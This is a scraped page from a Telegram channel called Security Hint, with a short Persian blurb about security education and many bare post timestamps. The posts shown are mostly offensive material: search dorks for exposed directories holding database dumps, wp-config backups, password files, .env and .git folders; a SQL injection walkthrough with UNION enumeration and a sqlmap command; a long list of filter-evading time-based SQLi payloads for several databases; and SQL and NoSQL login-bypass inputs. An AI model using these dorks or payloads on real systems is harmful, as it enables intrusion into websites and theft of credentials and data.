با کانال تلگرامی Security Hint آشنا شوید! این کانال با هدف آموزش امنیت در فضای دیجیتال به وجود آمده است. اگر به دنبال اطلاعات و مهارت‌های لازم برای حفظ امنیت خود در اینترنت هستید، این کانال بهترین منبعی برای شما خواهد بود. از طریق این کانال اقدام به ارتقای دانش خود در زمینه امنیت اطلاعاتی کنید و با روش‌های نوین محافظت از خود آشنا شوید. برای دسترسی به منابع بیشتر، می‌توانید کانال Security Hint را در پلتفرم‌های دیگر نیز دنبال کنید. همچنین، با پیوستن به گروه گیت‌هاب این کانال، به پروژه‌ها و منابع بیشتری دسترسی پیدا خواهید کرد. اگر سوالی دارید، با ادمین کانال در ارتباط باشید. برای کسب اطلاعات بیشتر، به یوتیوب و اپارات کانال Security Hint مراجعه کنید.
09 Jan, 18:45
18 Dec, 20:15
15 Dec, 15:38
13 Dec, 12:54
http.html:"index of /"
http.html:"index of /" http.html:"backup"
http.html:"index of /" http.html:"tar.gz"
http.html:"index of /" http.html:"database"
http.html:"index of /" http.html:".sql"
http.html:"index of /" http.html:".db"
http.html:"index of /" http.html:"db_backup"
http.html:"index of /" http.html:"mysql.dump"
http.html:"index of /" http.html:".mdb"
http.html:"index of /" http.html:"config.xml"
http.html:"index of /" http.html:"wp-config.php.txt"
http.html:"index of /" http.html:"wp-config.txt"
http.html:"index of /" http.html:"wp-config.php.bak"
http.html:"index of /" http.html:"wp-config.php.old"
http.html:"index of /" http.html:"wp-config.php.backup"
http.html:"index of /" http.html:"wp-config.php.zip"
http.html:"index of /" http.html:"wp-config.php.tar.gz"
http.html:"index of /" http.html:"pwd"
http.html:"index of /" http.html:"pass.txt"
http.html:"index of /" http.html:"password"
http.html:"index of /" http.html:"password.txt"
http.html:"index of /" http.html:"passwords.txt"
http.html:"index of /" http.html:"passwords.zip"
http.html:"index of /" http.html:"web.config"
http.html:"index of /" http.html:".log"
http.html:"index of /" http.html:"access.log"
http.html:"index of /" http.html:"error.log"
http.html:"index of /" http.html:"php_error.log"
http.html:"index of /" http.html:"debug.log"
http.html:"index of /" http.html:".env"
http.html:"index of /" http.html:".svn"
http.html:"index of /" http.html:".git"
http.html:"index of /" http.html:"gitconfig"
12 Dec, 05:38
06 Dec, 17:04
?id=1 AND 1=1 -- (خروجی باید بدون تغییر باشد)
?id=1 AND 1=2 -- (خروجی باید تغییر کند یا صفحه خطا دهد)
?id=1 AND SLEEP(5) -- (صفحه باید با تأخیر بارگذاری شود)
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 UNION SELECT 1,2,3,4--
?id=1 UNION SELECT 1,'test',3,4--
?id=1 UNION SELECT 1,@@version,3,4--
?id=1 UNION SELECT 1,version(),3,4--
?id=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
sqlmap -u "http://example.com/page.php?id=1" --dbs
04 Dec, 15:53
25 Nov, 19:19
21 Nov, 13:30
20 Nov, 13:30
19 Nov, 15:49
15 Nov, 16:15
13 Nov, 14:19
12 Nov, 19:01
06 Nov, 18:03
06 Nov, 17:59
01 Nov, 07:48
29 Oct, 16:14
28 Oct, 13:55
27 Oct, 15:38
25 Oct, 08:58
24 Oct, 12:14
16 Oct, 14:32
15 Oct, 14:08
06 Oct, 14:59
timebased payloads for different dbms:
XOR(if(now()=sysdate(),sleep(7),0))XOR%23
'or sleep(7)--#
'or sleep(7)#
'or sleep(7)='#
'or sleep(7)='--
'/*F*/or/*F*/sleep(7)='
'or sleep(7)--%23
'or sleep(7)%23
'or sleep(7);%00
or sleep(7)--+-
or sleep(7)#
'/*f*/or/*f*/sleep/*f*/(7)--#
'/*f*/or/*f*/sleep/*f*/(7)#
or sleep(7)%23
'/*f*/or/*f*/sleep/*f*/(7)--%23
'/*f*/or/*f*/sleep/*f*/(7)%23
'/*f*/or/*f*/sleep/*f*/(7);%00
or/*f*/sleep/*f*/(7)--+-
or/*f*/sleep/*f*/(7)#
'XOR(if(now()=sysdate(),sleep(7),0))XOR'
'OR(if(now()=sysdate(),sleep(7),0))--#
'OR(if(now()=sysdate(),sleep(7),0))#
or/*f*/sleep/*f*/(7)%23
'OR(if(now()=sysdate(),sleep(7),0))--%23
'OR(if(now()=sysdate(),sleep(7),0))%23
'OR(if(now()=sysdate(),sleep(7),0));%00
OR(if(now()=sysdate(),sleep(7),0))--+-
OR(if(now()=sysdate(),sleep(7),0))#
OR(if(now()=sysdate(),sleep(7),0))%23
'WAITFORDELAY'0:0:7';%00
'WAITFORDELAY'0:0:7'#
'WAITFORDELAY'0:0:7'%23
'WAITFORDELAY'0:0:7';%00
WAITFORDELAY'0:0:7'#
WAITFORDELAY'0:0:7'%23
WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'='
\/*F*/or/*f*/sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7)#
'/*f*/OR/*f*/pg_sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7);%00
/*f*/OR/*f*/pg_sleep(70)--+-
/*f*/OR/*f*/pg_sleep(70)#
/*f*/OR/*f*/pg_sleep(70)%23
'/*f*/OR/*f*/pg_sleep(7)=';%00
\)/*F*/or/*f*/sleep(7)%23
\)/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)--+-
%E2%84%A2\)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2%27)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2'/*F*/or/*f*/sleep(7)='
%E2%84%A2')/*F*/or/*f*/sleep(7)='
...
04 Oct, 12:37
03 Oct, 13:30
30 Sep, 14:25
26 Sep, 15:42
19 Sep, 14:12
18 Sep, 13:30
16 Sep, 13:30
14 Sep, 13:20
12 Sep, 16:20
11 Sep, 13:31
SELECT * FROM users WHERE username = 'admin';
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';
db.users.find({ "username": "admin" });
db.users.find({ "username": { $ne: null }, "password": { $ne: null } });
10 Sep, 13:46
